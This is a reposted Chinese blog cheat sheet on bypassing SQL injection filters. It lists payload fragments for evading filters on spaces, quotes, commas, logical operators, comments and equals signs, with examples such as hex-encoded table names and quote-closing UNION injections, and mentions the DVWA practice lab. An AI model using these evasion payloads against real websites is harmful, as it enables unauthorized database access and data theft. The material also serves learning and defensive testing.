我是靠谱客的博主 重要黑裤,最近开发中收集的这篇文章主要介绍SQL注入--绕过技巧,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

参考自

基本绕过方法

  1. 大小写
  2. 双写
  3. 编码,如URLEncode编码,ASCII编码绕过
  4. 内敛注释

空格绕过

在这里插入图片描述

  1. 用注释替换空格
    select/**/user,password/**/from /**/users;
  2. 空格url编码%20
  3. 两个空格代替一个空格
  4. 用Tab代替空格
  5. %a0=空格
  6. 如果空格被过滤,括号没有被过滤,可以用括号绕过
    select(user())from dual where(1=1)and(2=2)
  7. 回车

引号绕过

  1. 使用十六进制
    例如:
    select column_name from information_schema.columns where table_name='users';
    如引号被过滤,就可以尝试使用十六进制来进行绕过
    在这里插入图片描述

即可以将语句写为:
select column_name from information_schema.columns where table_name=0x7573657273;

  1. 还有一个办法(前提是已经得知数据库名称和表名,例如dvwa和users):

select column_name from information_schema.columns where table_schema=database();
查询所在数据库中的所有列名,然后
可以猜或者尝试得知哪些字段在哪个表中,然后:
select username,password from users;

  1. 宽字节注入

逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit,这些子句方法都需要使用到逗号

  1. 对于substr()和mid()这两个方法可以使用from的方式来解决:
    select substr(database() from 1 for 1);

  2. 使用join
    union select 1,2 可以使用下面的句子代替
    union select * from (select 1)a join (select 2)b

  3. 使用like
    select ascii(mid(user(),1,1))=80 可以使用下面的句子代替
    select user() like 'r%'

  4. limit中,使用offset绕过
    limit 1offset0


or and xor not绕过

  1. 利用符号替换and = && or=|| xor=| not=!
  2. 在敏感词中添加注释:an/**/d
  3. 双写绕过oorr
  4. 大小写变形
  5. 编码

注释符绕过

  1. id=1' union select 1,2,3 or '1'='1 即虽然无法使用注释符,但是可以闭合掉他
    或者:id=1' union select 1,2,'3
  2. 最后添加or 1'
  3. 最后添加 and '1'='1

等于号绕过

  1. 使用like
  2. 使用!<>,因为<>是不等于
  3. regrep (正则表达匹配)

<>被过滤

  1. greatest(),least()
  2. strcmp(str1,str2),第一个参数小于第二个参数,返回-1,否则为1
  3. in,between a and b

等价函数

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user =

最后

以上就是重要黑裤为你收集整理的SQL注入--绕过技巧的全部内容,希望文章能够帮你解决SQL注入--绕过技巧所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(50)

评论列表共有 0 条评论

立即
投稿
返回
顶部